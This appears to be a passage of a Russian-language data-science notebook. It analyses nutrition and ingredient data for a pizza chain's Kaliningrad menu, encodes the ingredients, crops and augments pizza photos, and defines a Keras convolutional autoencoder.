25% 367.50000 188.250000 23.975000 7.975000 6.05000 25.0 420.000000 50.0 858.525000 113.010003 35.625000 28.159999
50% 385.00000 212.500000 24.950000 9.090000 8.20000 25.0 460.000000 50.0 966.358490 114.779002 39.580000 35.930001
75% 395.00000 235.527496 26.280001 9.800000 9.77500 25.0 485.000000 50.0 1095.459991 120.597001 45.707500 47.020001
max 395.00000 274.000000 31.330000 12.200000 14.80000 25.0 560.000000 50.0 1243.960000 128.453000 60.999999 68.080001


Настала пора узнать, какие же пиццы самые-самые...


Итак, самая калорийная пицца


df[df.pizza_kiloCalories == np.max(df.pizza_kiloCalories)]


city_name city_url pizza_name pizza_eng_name pizza_url pizza_contain pizza_price kiloCalories carbohydrates proteins fats size weight weight_err pizza_kiloCalories pizza_carbohydrates pizza_proteins pizza_fats
2 Калининград /Kaliningrad Дон Бекон pizza-don-bekon https://dodopizza.ru/Kaliningrad/Product/pizza... Томатный соус, бекон, пепперони, цыпленок, кра... 395 274.0 25.200001 9.8 14.8 25 454 50 1243.96 114.408003 44.492001 67.192001


Самая жирная пицца:


df[df.pizza_fats == np.max(df.pizza_fats)]


city_name city_url pizza_name pizza_eng_name pizza_url pizza_contain pizza_price kiloCalories carbohydrates proteins fats size weight weight_err pizza_kiloCalories pizza_carbohydrates pizza_proteins pizza_fats
14 Калининград /Kaliningrad Мясная myasnaya-pizza https://dodopizza.ru/Kaliningrad/Product/myasn... Томатный соус, охотничьи колбаски, бекон, ветч... 395 268.0 24.200001 9.1 14.8 25 460 50 1232.8 111.320004 41.860002 68.080001


Самая богатая углеводами:


df[df.pizza_carbohydrates == np.max(df.pizza_carbohydrates)]


city_name city_url pizza_name pizza_eng_name pizza_url pizza_contain pizza_price kiloCalories carbohydrates proteins fats size weight weight_err pizza_kiloCalories pizza_carbohydrates pizza_proteins pizza_fats
1 Калининград /Kaliningrad Крэйзи пицца crazy-pizza https://dodopizza.ru/Kaliningrad/Product/crazy... Томатный соус, увеличенные порции цыпленка и п... 395 232.369995 31.33 9.08 7.64 25 410 50 952.71698 128.453 37.228 31.323999


Самая богатая белками:


df[df.pizza_proteins == np.max(df.pizza_proteins)]


city_name city_url pizza_name pizza_eng_name pizza_url pizza_contain pizza_price kiloCalories carbohydrates proteins fats size weight weight_err pizza_kiloCalories pizza_carbohydrates pizza_proteins pizza_fats
7 Калининград /Kaliningrad Гавайская gavayskaya-pizza https://dodopizza.ru/Kaliningrad/Product/gavay... Томатный соус, ананасы, цыпленок, моцарелла 315 216.0 25.0 12.2 7.4 25 500 50 1080.0 125.0 60.999999 37.0


Самая тяжёлая по весу пицца:


df[df.weight == np.max(df.weight)]


city_name city_url pizza_name pizza_eng_name pizza_url pizza_contain pizza_price kiloCalories carbohydrates proteins fats size weight weight_err pizza_kiloCalories pizza_carbohydrates pizza_proteins pizza_fats
8 Калининград /Kaliningrad Додо pizza-dodo https://dodopizza.ru/Kaliningrad/Product/pizza... Томатный соус, говядина (фарш), ветчина, пеппе... 395 203.899994 22.1 8.6 8.9 25 560 50 1141.839966 123.760002 48.160002 49.839998


Самая лёгкая по весу пицца:


df[df.weight == np.min(df.weight)]


city_name city_url pizza_name pizza_eng_name pizza_url pizza_contain pizza_price kiloCalories carbohydrates proteins fats size weight weight_err pizza_kiloCalories pizza_carbohydrates pizza_proteins pizza_fats
3 Калининград /Kaliningrad Грибы и ветчина gribvetchina https://dodopizza.ru/Kaliningrad/Product/gribv... Томатный соус, ветчина, шампиньоны, моцарелла 315 189.0 23.9 9.3 6.1 25 370 50 699.3 88.429999 34.410001 22.57


Получаем названия пицц


pizza_names = df['pizza_name'].tolist()
pizza_eng_names = df['pizza_eng_name'].tolist()
print( pizza_eng_names )

['double-pepperoni', 'crazy-pizza', 'pizza-don-bekon', 'gribvetchina', 'pizza-pirog', 'pizza-margarita', 'syrnaya-pizza', 'gavayskaya-pizza', 'pizza-dodo', 'pizza-chetyre-sezona', 'ovoshi-i-griby', 'italyanskaya-pizza', 'meksikanskaya-pizza', 'morskaya-pizza', 'myasnaya-pizza', 'pizza-pepperoni', 'ranch-pizza', 'pizza-syrnyi-cyplenok', 'pizza-cyplenok-barbekyu', 'chizburger-pizza']

Получаем путь до картинок — нас интересует 3-я картинка (вид сверху)


image_paths = []
for name in pizza_eng_names:
    path = os.path.join(name, name+'3.jpg')
    image_paths.append(path)
print(image_paths)

['double-pepperoni\\double-pepperoni3.jpg', 'crazy-pizza\\crazy-pizza3.jpg', 'pizza-don-bekon\\pizza-don-bekon3.jpg', 'gribvetchina\\gribvetchina3.jpg', 'pizza-pirog\\pizza-pirog3.jpg', 'pizza-margarita\\pizza-margarita3.jpg', 'syrnaya-pizza\\syrnaya-pizza3.jpg', 'gavayskaya-pizza\\gavayskaya-pizza3.jpg', 'pizza-dodo\\pizza-dodo3.jpg', 'pizza-chetyre-sezona\\pizza-chetyre-sezona3.jpg', 'ovoshi-i-griby\\ovoshi-i-griby3.jpg', 'italyanskaya-pizza\\italyanskaya-pizza3.jpg', 'meksikanskaya-pizza\\meksikanskaya-pizza3.jpg', 'morskaya-pizza\\morskaya-pizza3.jpg', 'myasnaya-pizza\\myasnaya-pizza3.jpg', 'pizza-pepperoni\\pizza-pepperoni3.jpg', 'ranch-pizza\\ranch-pizza3.jpg', 'pizza-syrnyi-cyplenok\\pizza-syrnyi-cyplenok3.jpg', 'pizza-cyplenok-barbekyu\\pizza-cyplenok-barbekyu3.jpg', 'chizburger-pizza\\chizburger-pizza3.jpg']

Загружаем картинки


images = []
for path in image_paths:
    print('Load image:', path)
    image = cv2.imread(path)
    if image is not None:
        images.append(image)
    else:
        print('Error read image:', path)

Load image: double-pepperoni\double-pepperoni3.jpg
Load image: crazy-pizza\crazy-pizza3.jpg
Load image: pizza-don-bekon\pizza-don-bekon3.jpg
Load image: gribvetchina\gribvetchina3.jpg
Load image: pizza-pirog\pizza-pirog3.jpg
Load image: pizza-margarita\pizza-margarita3.jpg
Load image: syrnaya-pizza\syrnaya-pizza3.jpg
Load image: gavayskaya-pizza\gavayskaya-pizza3.jpg
Load image: pizza-dodo\pizza-dodo3.jpg
Load image: pizza-chetyre-sezona\pizza-chetyre-sezona3.jpg
Load image: ovoshi-i-griby\ovoshi-i-griby3.jpg
Load image: italyanskaya-pizza\italyanskaya-pizza3.jpg
Load image: meksikanskaya-pizza\meksikanskaya-pizza3.jpg
Load image: morskaya-pizza\morskaya-pizza3.jpg
Load image: myasnaya-pizza\myasnaya-pizza3.jpg
Load image: pizza-pepperoni\pizza-pepperoni3.jpg
Load image: ranch-pizza\ranch-pizza3.jpg
Load image: pizza-syrnyi-cyplenok\pizza-syrnyi-cyplenok3.jpg
Load image: pizza-cyplenok-barbekyu\pizza-cyplenok-barbekyu3.jpg
Load image: chizburger-pizza\chizburger-pizza3.jpg

Посмотрим на картинку


def plot_img(img):
    img_rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
    plt.imshow(img_rgb)

print(images[0].shape)
plot_img(images[0])

(380, 710, 3)


Пиццы располагаются в одной и той же области — вырезаем


pizza_imgs = []
for img in images:
    y, x, height, width = 0, 165, 380, 380
    pizza_crop = img[y:y+height, x:x+width]
    pizza_imgs.append(pizza_crop)
print(pizza_imgs[0].shape)
print(len(pizza_imgs))
plot_img(pizza_imgs[0])

(380, 380, 3)
20


Посмотрим все фотографии


fig = plt.figure(figsize=(12,15))
for i in range(0, len(pizza_imgs)):
    fig.add_subplot(4,5,i+1)
    plot_img(pizza_imgs[i])


Пицца четыре сезона явно выбивается по своей структуре, так как, по сути, состоит из четырёх разных пицц.


Изучим ингредиенты


def split_contain(contain):
    lst = contain.split(',')
    print(len(lst),':', lst)

for i, row in df.iterrows():
    split_contain(row.pizza_contain)

2 : ['Томатный соус', ' двойная порция пепперони и увеличенная порция моцареллы']
4 : ['Томатный соус', ' увеличенные порции цыпленка и пепперони', ' моцарелла', ' кисло-сладкий соус']
6 : ['Томатный соус', ' бекон', ' пепперони', ' цыпленок', ' красный лук', ' моцарелла']
4 : ['Томатный соус', ' ветчина', ' шампиньоны', ' моцарелла']
3 : ['Сгущенное молоко', ' брусника', ' ананасы']
4 : ['Томатный соус', ' томаты', ' увеличенная порция моцареллы', ' орегано']
4 : ['Томатный соус', ' брынза', ' увеличенная порция сыра моцарелла', ' орегано']
4 : ['Томатный соус', ' ананасы', ' цыпленок', ' моцарелла']
9 : ['Томатный соус', ' говядина (фарш)', ' ветчина', ' пепперони', ' красный лук', ' маслины', ' сладкий перец', ' шампиньоны', ' моцарелла']
8 : ['Томатный соус', ' пепперони', ' ветчина', ' брынза', ' томаты', ' шампиньоны', ' моцарелла', ' орегано']
9 : ['Томатный соус', ' брынза', ' маслины', ' сладкий перец', ' томаты', ' шампиньоны', ' красный лук', ' моцарелла', ' базилик']
6 : ['Томатный соус', ' пепперони', ' маслины', ' шампиньоны', ' моцарелла', ' орегано']
8 : ['Томатный соус', ' халапеньо', ' сладкий перец', ' цыпленок', ' томаты', ' шампиньоны', ' красный лук', ' моцарелла']
6 : ['Томатный соус', ' креветки', ' маслины', ' сладкий перец', ' красный лук', ' моцарелла']
5 : ['Томатный соус', ' охотничьи колбаски', ' бекон', ' ветчина', ' моцарелла']
3 : ['Томатный соус', ' пепперони', ' увеличенная порция моцареллы']
6 : ['Соус Ранч', ' цыпленок', ' ветчина', ' томаты', ' чеснок', ' моцарелла']
4 : ['Сырный соус', ' цыпленок', ' томаты', ' моцарелла']
6 : ['Томатный соус', ' цыпленок', ' бекон', ' красный лук', ' моцарелла', ' соус Барбекю']
7 : ['Сырный соус', ' говядина', ' бекон', ' соленые огурцы', ' томаты', ' красный лук', ' моцарелла']

Проблема, что в нескольких пиццах указываются модификаторы вида:


  • "двойная порция"
  • "увеличенная порция"

При этом, после модификаторов может идти перечисление ингредиетов через союз И.


Гипотезы:


  • модификатор двойная порция можно заменить указав нужный ингредиент два раза.
  • модификатор увеличенная порция пока можно опустить (так как на фотографиях разница не заметна)

Видим, что модификатор "увеличенная порция", относится только к сыру моцарелла.
Так же один раз встречается:
"увеличенная порция сыра моцарелла"


Кстати, сразу же бросается в глаза, что основной используемый соус — томатный, а сыр — моцарелла.


Почистим ингедиенты, чтобы привести к нормальному виду


def split_contain2(contain):
    lst = contain.split(',')
    #print(len(lst),':', lst)
    for i in range(len(lst)):
        item = lst[i]
        item = item.replace('увеличенная порция', '')
        item = item.replace('увеличенные порции', '')
        item = item.replace('сыра моцарелла', 'моцарелла')
        item = item.replace('моцареллы', 'моцарелла')
        item = item.replace('цыпленка', 'цыпленок')
        and_pl = item.find(' и ')
        if and_pl != -1:
            item1 = item[0:and_pl]
            item2 = item[and_pl+3:]
            item = item1
            lst.insert(i+1, item2.strip())
        double_pl = item.find('двойная порция ')
        if double_pl != -1:
            item = item[double_pl+15:]
            lst.insert(i+1, item.strip())
        lst[i] = item.strip()
    # last one
    for i in range(len(lst)):
        lst[i] = lst[i].strip()
    print(len(lst),':', lst)
    return lst

ingredients = []
ingredients_count = []
for i, row in df.iterrows():
    print(row.pizza_name)
    lst = split_contain2(row.pizza_contain)
    ingredients.append(lst)
    ingredients_count.append(len(lst))
ingredients_count

Двойная пепперони
4 : ['Томатный соус', 'пепперони', 'пепперони', 'моцарелла']
Крэйзи пицца 
5 : ['Томатный соус', 'цыпленок', 'пепперони', 'моцарелла', 'кисло-сладкий соус']
Дон Бекон
6 : ['Томатный соус', 'бекон', 'пепперони', 'цыпленок', 'красный лук', 'моцарелла']
Грибы и ветчина
4 : ['Томатный соус', 'ветчина', 'шампиньоны', 'моцарелла']
Пицца-пирог
3 : ['Сгущенное молоко', 'брусника', 'ананасы']
Маргарита
4 : ['Томатный соус', 'томаты', 'моцарелла', 'орегано']
Сырная
4 : ['Томатный соус', 'брынза', 'моцарелла', 'орегано']
Гавайская
4 : ['Томатный соус', 'ананасы', 'цыпленок', 'моцарелла']
Додо
9 : ['Томатный соус', 'говядина (фарш)', 'ветчина', 'пепперони', 'красный лук', 'маслины', 'сладкий перец', 'шампиньоны', 'моцарелла']
Четыре сезона
8 : ['Томатный соус', 'пепперони', 'ветчина', 'брынза', 'томаты', 'шампиньоны', 'моцарелла', 'орегано']
Овощи и грибы
9 : ['Томатный соус', 'брынза', 'маслины', 'сладкий перец', 'томаты', 'шампиньоны', 'красный лук', 'моцарелла', 'базилик']
Итальянская
6 : ['Томатный соус', 'пепперони', 'маслины', 'шампиньоны', 'моцарелла', 'орегано']
Мексиканская
8 : ['Томатный соус', 'халапеньо', 'сладкий перец', 'цыпленок', 'томаты', 'шампиньоны', 'красный лук', 'моцарелла']
Морская
6 : ['Томатный соус', 'креветки', 'маслины', 'сладкий перец', 'красный лук', 'моцарелла']
Мясная
5 : ['Томатный соус', 'охотничьи колбаски', 'бекон', 'ветчина', 'моцарелла']
Пепперони
3 : ['Томатный соус', 'пепперони', 'моцарелла']
Ранч пицца
6 : ['Соус Ранч', 'цыпленок', 'ветчина', 'томаты', 'чеснок', 'моцарелла']
Сырный цыплёнок
4 : ['Сырный соус', 'цыпленок', 'томаты', 'моцарелла']
Цыплёнок барбекю
6 : ['Томатный соус', 'цыпленок', 'бекон', 'красный лук', 'моцарелла', 'соус Барбекю']
Чизбургер-пицца
7 : ['Сырный соус', 'говядина', 'бекон', 'соленые огурцы', 'томаты', 'красный лук', 'моцарелла']

[4, 5, 6, 4, 3, 4, 4, 4, 9, 8, 9, 6, 8, 6, 5, 3, 6, 4, 6, 7]

Посмотрим минимальное и максимальное количество ингредиентов


min_count = np.min(ingredients_count)
print('min:', min_count)
max_count = np.max(ingredients_count)
print('max:', max_count)

min: 3
max: 9

print('min:', np.array(pizza_names)[ingredients_count == min_count] )
print('max:', np.array(pizza_names)[ingredients_count == max_count] )

min: ['Пицца-пирог' 'Пепперони']
max: ['Додо' 'Овощи и грибы']

Интересно, больше всего ингредиентов (9 штук) в пиццах: Додо и Овощи и грибы.


Заполним табличку ингредиентов.


df_ingredients = pd.DataFrame(ingredients)
df_ingredients.fillna(value='0', inplace=True)
df_ingredients


0 1 2 3 4 5 6 7 8
0 Томатный соус пепперони пепперони моцарелла 0 0 0 0 0
1 Томатный соус цыпленок пепперони моцарелла кисло-сладкий соус 0 0 0 0
2 Томатный соус бекон пепперони цыпленок красный лук моцарелла 0 0 0
3 Томатный соус ветчина шампиньоны моцарелла 0 0 0 0 0
4 Сгущенное молоко брусника ананасы 0 0 0 0 0 0
5 Томатный соус томаты моцарелла орегано 0 0 0 0 0
6 Томатный соус брынза моцарелла орегано 0 0 0 0 0
7 Томатный соус ананасы цыпленок моцарелла 0 0 0 0 0
8 Томатный соус говядина (фарш) ветчина пепперони красный лук маслины сладкий перец шампиньоны моцарелла
9 Томатный соус пепперони ветчина брынза томаты шампиньоны моцарелла орегано 0
10 Томатный соус брынза маслины сладкий перец томаты шампиньоны красный лук моцарелла базилик
11 Томатный соус пепперони маслины шампиньоны моцарелла орегано 0 0 0
12 Томатный соус халапеньо сладкий перец цыпленок томаты шампиньоны красный лук моцарелла 0
13 Томатный соус креветки маслины сладкий перец красный лук моцарелла 0 0 0
14 Томатный соус охотничьи колбаски бекон ветчина моцарелла 0 0 0 0
15 Томатный соус пепперони моцарелла 0 0 0 0 0 0
16 Соус Ранч цыпленок ветчина томаты чеснок моцарелла 0 0 0
17 Сырный соус цыпленок томаты моцарелла 0 0 0 0 0
18 Томатный соус цыпленок бекон красный лук моцарелла соус Барбекю 0 0 0
19 Сырный соус говядина бекон соленые огурцы томаты красный лук моцарелла 0 0


df_ingredients.describe()


0 1 2 3 4 5 6 7 8
count 20 20 20 20 20 20 20 20 20
unique 4 13 10 12 6 7 4 4 3
top Томатный соус пепперони пепперони моцарелла 0 0 0 0 0
freq 16 4 3 5 8 10 15 16 18


Как и ожидалось — самый используемый соус — томатный. Стандартный рецепт — состоит из 4 ингредиентов.


Забавно, что образовался новый рецепт для пиццы.


Посмотрим сколько раз встречается тот или иной ингредиент:


df_ingredients.stack().value_counts()

0                     69
моцарелла             19
Томатный соус         16
пепперони              8
томаты                 7
цыпленок               7
красный лук            7
шампиньоны             6
ветчина                5
сладкий перец          4
бекон                  4
орегано                4
маслины                4
брынза                 3
ананасы                2
Сырный соус            2
чеснок                 1
кисло-сладкий соус     1
базилик                1
соус Барбекю           1
креветки               1
халапеньо              1
Сгущенное молоко       1
соленые огурцы         1
говядина (фарш)        1
охотничьи колбаски     1
брусника               1
говядина               1
Соус Ранч              1
dtype: int64

Опять же: моцарелла, Томатный соус, пепперони.


df_ingredients.stack().value_counts().drop('0').plot.pie()



Теперь закодируем ингредиенты.


from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import OneHotEncoder

ingredients_full = df_ingredients.values.tolist()

# flatten lists
flat_ingredients = [item for sublist in ingredients_full for item in sublist]
print(flat_ingredients)
print(len(flat_ingredients))

np_ingredients = np.array(flat_ingredients)
#print(np_ingredients)

labelencoder = LabelEncoder()
ingredients_encoded = labelencoder.fit_transform(np_ingredients)
print(ingredients_encoded)

label_max = np.max(ingredients_encoded)
print('max:', label_max)

['Томатный соус', 'пепперони', 'пепперони', 'моцарелла', '0', '0', '0', '0', '0', 'Томатный соус', 'цыпленок', 'пепперони', 'моцарелла', 'кисло-сладкий соус', '0', '0', '0', '0', 'Томатный соус', 'бекон', 'пепперони', 'цыпленок', 'красный лук', 'моцарелла', '0', '0', '0', 'Томатный соус', 'ветчина', 'шампиньоны', 'моцарелла', '0', '0', '0', '0', '0', 'Сгущенное молоко', 'брусника', 'ананасы', '0', '0', '0', '0', '0', '0', 'Томатный соус', 'томаты', 'моцарелла', 'орегано', '0', '0', '0', '0', '0', 'Томатный соус', 'брынза', 'моцарелла', 'орегано', '0', '0', '0', '0', '0', 'Томатный соус', 'ананасы', 'цыпленок', 'моцарелла', '0', '0', '0', '0', '0', 'Томатный соус', 'говядина (фарш)', 'ветчина', 'пепперони', 'красный лук', 'маслины', 'сладкий перец', 'шампиньоны', 'моцарелла', 'Томатный соус', 'пепперони', 'ветчина', 'брынза', 'томаты', 'шампиньоны', 'моцарелла', 'орегано', '0', 'Томатный соус', 'брынза', 'маслины', 'сладкий перец', 'томаты', 'шампиньоны', 'красный лук', 'моцарелла', 'базилик', 'Томатный соус', 'пепперони', 'маслины', 'шампиньоны', 'моцарелла', 'орегано', '0', '0', '0', 'Томатный соус', 'халапеньо', 'сладкий перец', 'цыпленок', 'томаты', 'шампиньоны', 'красный лук', 'моцарелла', '0', 'Томатный соус', 'креветки', 'маслины', 'сладкий перец', 'красный лук', 'моцарелла', '0', '0', '0', 'Томатный соус', 'охотничьи колбаски', 'бекон', 'ветчина', 'моцарелла', '0', '0', '0', '0', 'Томатный соус', 'пепперони', 'моцарелла', '0', '0', '0', '0', '0', '0', 'Соус Ранч', 'цыпленок', 'ветчина', 'томаты', 'чеснок', 'моцарелла', '0', '0', '0', 'Сырный соус', 'цыпленок', 'томаты', 'моцарелла', '0', '0', '0', '0', '0', 'Томатный соус', 'цыпленок', 'бекон', 'красный лук', 'моцарелла', 'соус Барбекю', '0', '0', '0', 'Сырный соус', 'говядина', 'бекон', 'соленые огурцы', 'томаты', 'красный лук', 'моцарелла', '0', '0']
180
[ 4 20 20 17  0  0  0  0  0  4 26 20 17 13  0  0  0  0  4  7 20 26 14 17  0
  0  0  4 10 28 17  0  0  0  0  0  1  8  5  0  0  0  0  0  0  4 24 17 18  0
  0  0  0  0  4  9 17 18  0  0  0  0  0  4  5 26 17  0  0  0  0  0  4 12 10
 20 14 16 21 28 17  4 20 10  9 24 28 17 18  0  4  9 16 21 24 28 14 17  6  4
 20 16 28 17 18  0  0  0  4 25 21 26 24 28 14 17  0  4 15 16 21 14 17  0  0
  0  4 19  7 10 17  0  0  0  0  4 20 17  0  0  0  0  0  0  2 26 10 24 27 17
  0  0  0  3 26 24 17  0  0  0  0  0  4 26  7 14 17 23  0  0  0  3 11  7 22
 24 14 17  0  0]
max: 28

Получается, что для приготовления, используется целых 27 ингредиентов.


for label in range(label_max):
    print(label, labelencoder.inverse_transform(label))

0 0
1 Сгущенное молоко
2 Соус Ранч
3 Сырный соус
4 Томатный соус
5 ананасы
6 базилик
7 бекон
8 брусника
9 брынза
10 ветчина
11 говядина
12 говядина (фарш)
13 кисло-сладкий соус
14 красный лук
15 креветки
16 маслины
17 моцарелла
18 орегано
19 охотничьи колбаски
20 пепперони
21 сладкий перец
22 соленые огурцы
23 соус Барбекю
24 томаты
25 халапеньо
26 цыпленок
27 чеснок

lb_ingredients = []
for lst in ingredients_full:
    lb_ingredients.append(labelencoder.transform(lst).tolist())
#lb_ingredients = np.array(lb_ingredients)
lb_ingredients

[[4, 20, 20, 17, 0, 0, 0, 0, 0],
 [4, 26, 20, 17, 13, 0, 0, 0, 0],
 [4, 7, 20, 26, 14, 17, 0, 0, 0],
 [4, 10, 28, 17, 0, 0, 0, 0, 0],
 [1, 8, 5, 0, 0, 0, 0, 0, 0],
 [4, 24, 17, 18, 0, 0, 0, 0, 0],
 [4, 9, 17, 18, 0, 0, 0, 0, 0],
 [4, 5, 26, 17, 0, 0, 0, 0, 0],
 [4, 12, 10, 20, 14, 16, 21, 28, 17],
 [4, 20, 10, 9, 24, 28, 17, 18, 0],
 [4, 9, 16, 21, 24, 28, 14, 17, 6],
 [4, 20, 16, 28, 17, 18, 0, 0, 0],
 [4, 25, 21, 26, 24, 28, 14, 17, 0],
 [4, 15, 16, 21, 14, 17, 0, 0, 0],
 [4, 19, 7, 10, 17, 0, 0, 0, 0],
 [4, 20, 17, 0, 0, 0, 0, 0, 0],
 [2, 26, 10, 24, 27, 17, 0, 0, 0],
 [3, 26, 24, 17, 0, 0, 0, 0, 0],
 [4, 26, 7, 14, 17, 23, 0, 0, 0],
 [3, 11, 7, 22, 24, 14, 17, 0, 0]]

onehotencoder = OneHotEncoder(sparse=False)
ingredients_onehotencoded = onehotencoder.fit_transform(ingredients_encoded.reshape(-1, 1))
print(ingredients_onehotencoded.shape)
ingredients_onehotencoded[0]

(180, 29)

array([ 0.,  0.,  0.,  0.,  1.,  0.,  0.,  0.,  0.,  0.,  0.,  0.,  0.,
        0.,  0.,  0.,  0.,  0.,  0.,  0.,  0.,  0.,  0.,  0.,  0.,  0.,
        0.,  0.,  0.])

Теперь у нас есть данные с которыми мы можем работать.


Автоэнкодер


Попробуем загрузить фотографии пиц (вид сверху) и попробуем натренировать простой сжимающий автоэнкодер.


import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
%matplotlib inline 

import seaborn as sns

np.random.seed(42)

import cv2
import os
import sys

import load_data
import prepare_images

Загружаем фотографии пицц


pizza_eng_names, pizza_imgs = prepare_images.load_photos()

Read csv...
(20, 13)

RangeIndex: 20 entries, 0 to 19
Data columns (total 13 columns):
city_name         20 non-null object
city_url          20 non-null object
pizza_name        20 non-null object
pizza_eng_name    20 non-null object
pizza_url         20 non-null object
pizza_contain     20 non-null object
pizza_price       20 non-null int64
kiloCalories      20 non-null object
carbohydrates     20 non-null object
proteins          20 non-null object
fats              20 non-null object
size              20 non-null int64
weight            20 non-null object
dtypes: int64(2), object(11)
memory usage: 2.1+ KB
None
['double-pepperoni', 'crazy-pizza', 'pizza-don-bekon', 'gribvetchina', 'pizza-pirog', 'pizza-margarita', 'syrnaya-pizza', 'gavayskaya-pizza', 'pizza-dodo', 'pizza-chetyre-sezona', 'ovoshi-i-griby', 'italyanskaya-pizza', 'meksikanskaya-pizza', 'morskaya-pizza', 'myasnaya-pizza', 'pizza-pepperoni', 'ranch-pizza', 'pizza-syrnyi-cyplenok', 'pizza-cyplenok-barbekyu', 'chizburger-pizza']
['double-pepperoni\\double-pepperoni3.jpg', 'crazy-pizza\\crazy-pizza3.jpg', 'pizza-don-bekon\\pizza-don-bekon3.jpg', 'gribvetchina\\gribvetchina3.jpg', 'pizza-pirog\\pizza-pirog3.jpg', 'pizza-margarita\\pizza-margarita3.jpg', 'syrnaya-pizza\\syrnaya-pizza3.jpg', 'gavayskaya-pizza\\gavayskaya-pizza3.jpg', 'pizza-dodo\\pizza-dodo3.jpg', 'pizza-chetyre-sezona\\pizza-chetyre-sezona3.jpg', 'ovoshi-i-griby\\ovoshi-i-griby3.jpg', 'italyanskaya-pizza\\italyanskaya-pizza3.jpg', 'meksikanskaya-pizza\\meksikanskaya-pizza3.jpg', 'morskaya-pizza\\morskaya-pizza3.jpg', 'myasnaya-pizza\\myasnaya-pizza3.jpg', 'pizza-pepperoni\\pizza-pepperoni3.jpg', 'ranch-pizza\\ranch-pizza3.jpg', 'pizza-syrnyi-cyplenok\\pizza-syrnyi-cyplenok3.jpg', 'pizza-cyplenok-barbekyu\\pizza-cyplenok-barbekyu3.jpg', 'chizburger-pizza\\chizburger-pizza3.jpg']
Load images...
Load image: double-pepperoni\double-pepperoni3.jpg
Load image: crazy-pizza\crazy-pizza3.jpg
Load image: pizza-don-bekon\pizza-don-bekon3.jpg
Load image: gribvetchina\gribvetchina3.jpg
Load image: pizza-pirog\pizza-pirog3.jpg
Load image: pizza-margarita\pizza-margarita3.jpg
Load image: syrnaya-pizza\syrnaya-pizza3.jpg
Load image: gavayskaya-pizza\gavayskaya-pizza3.jpg
Load image: pizza-dodo\pizza-dodo3.jpg
Load image: pizza-chetyre-sezona\pizza-chetyre-sezona3.jpg
Load image: ovoshi-i-griby\ovoshi-i-griby3.jpg
Load image: italyanskaya-pizza\italyanskaya-pizza3.jpg
Load image: meksikanskaya-pizza\meksikanskaya-pizza3.jpg
Load image: morskaya-pizza\morskaya-pizza3.jpg
Load image: myasnaya-pizza\myasnaya-pizza3.jpg
Load image: pizza-pepperoni\pizza-pepperoni3.jpg
Load image: ranch-pizza\ranch-pizza3.jpg
Load image: pizza-syrnyi-cyplenok\pizza-syrnyi-cyplenok3.jpg
Load image: pizza-cyplenok-barbekyu\pizza-cyplenok-barbekyu3.jpg
Load image: chizburger-pizza\chizburger-pizza3.jpg
Cut pizza from images...
(380, 380, 3)
20

def plot_img(img):
    img_rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
    plt.imshow(img_rgb)

plot_img(pizza_imgs[0])


Замечательно, что пицца обладает осевой симметрией — для аугментации, её можно будет вращать вокруг центра, а так же отражать по вертикали.


img_flipy = cv2.flip(pizza_imgs[0], 1)
plot_img(img_flipy)


Результат поворота вокруг центра на 15 градусов:


img_rot15 = load_data.rotate(pizza_imgs[0], 15)
plot_img(img_rot15)


Сделаем аугментацию для первой пиццы в списке (предварительно уменьшив до размеров: 56 на 56) — вращение вокруг оси на 360 градусов с шагом в 1 градус и отражением по вертикали.


channels, height, width = 3, 56, 56

lst0 = load_data.resize_rotate_flip(pizza_imgs[0], (height, width))
print(len(lst0))

720

plot_img(lst0[0])


Попробуем автоэнкодер


Преобразуем список с картинками к нужному виду и разобьём его на тренировочную и тестовую выборки.


image_list = lst0
image_list = np.array(image_list, dtype=np.float32)
image_list = image_list.transpose((0, 3, 1, 2))
image_list /= 255.0
print(image_list.shape)

(720, 3, 56, 56)

x_train = image_list[:600]
x_test = image_list[600:]
print(x_train.shape, x_test.shape)

(600, 3, 56, 56) (120, 3, 56, 56)

from keras.models import Model
from keras.layers import Input, Dense, Flatten, Reshape
from keras.layers import Conv2D, MaxPooling2D, UpSampling2D

from keras import backend as K
#For 2D data (e.g. image), "channels_last" assumes (rows, cols, channels) while "channels_first" assumes  (channels, rows, cols).
K.set_image_data_format('channels_first')

Using Theano backend.

Создаём автоэнкодер


def create_deep_conv_ae(channels, height, width):
    input_img = Input(shape=(channels, height, width))

    x = Conv2D(16, (3, 3), activation='relu', padding='same')(input_img)
    x = MaxPooling2D(pool_size=(2, 2), padding='same')(x)
    x = Conv2D(8, (3, 3), activation='relu', padding='same')(x)
    encoded = MaxPooling2D(pool_size=(2, 2), padding='same')(x)

    # at this point the representation is (8, 14, 14)

    input_encoded = Input(shape=(8, 14, 14))
    x = Conv2D(8, (3, 3), activation='relu', padding='same')(input_encoded)
    x = UpSampling2D((2, 2))(x)
    x = Conv2D(16, (3, 3), activation='relu', padding='same')(x)
    x = UpSampling2D((2, 2))(x)
    decoded = Conv2D(channels, (3, 3), activation='sigmoid', padding='same')(x)

    # Models
    encoder = Model(input_img, encoded, name="encoder")
    decoder = Model(input_encoded, decoded, name="decoder")
    autoencoder = Model(input_img, decoder(encoder(input_img)), name="autoencoder")
    return encoder, decoder, autoencoder

c_encoder, c_decoder, c_autoencoder = create_deep_conv_ae(channels, height, width)
c_autoencoder.compile(optimizer='adam', loss='binary_crossentropy')

c_encoder.summary()
c_decoder.summary()
c_autoencoder.summary()

_________________________________________________________________
Layer (type)                 Output Shape              Param #   
=================================================================
input_1 (InputLayer)         (None, 3, 56, 56)         0         
_________________________________________________________________
conv2d_1 (Conv2D)            (None, 16, 56, 56)        448       
_________________________________________________________________
max_pooling2d_1 (MaxPooling2 (None, 16, 28, 28)        0         
_________________________________________________________________
conv2d_2 (Conv2D)            (None, 8, 28, 28)         1160      
_________________________________________________________________
max_pooling2d_2 (MaxPooling2 (None, 8, 14, 14)         0         
=================================================================
Total params: 1,608
Trainable params: 1,608
Non-trainable params: 0
_________________________________________________________________
_________________________________________________________________
Layer (type)                 Output Shape              Param #   
=================================================================
input_2 (InputLayer)         (None, 8, 14, 14)         0         
_________________________________________________________________
conv2d_3 (Conv2D)            (None, 8, 14, 14)         584       
_________________________________________________________________
up_sampling2d_1 (UpSampling2 (None, 8, 28, 28)         0         
_________________________________________________________________
conv2d_4 (Conv2D)            (None, 16, 28, 28)        1168      
_________________________________________________________________
up_sampling2d_2 (UpSampling2 (None, 16, 56, 56)        0         
_________________________________________________________________
conv2d_5 (Conv2D)            (None, 3, 56, 56)         435       
=================================================================
Total params: 2,187
Trainable params: 2,187
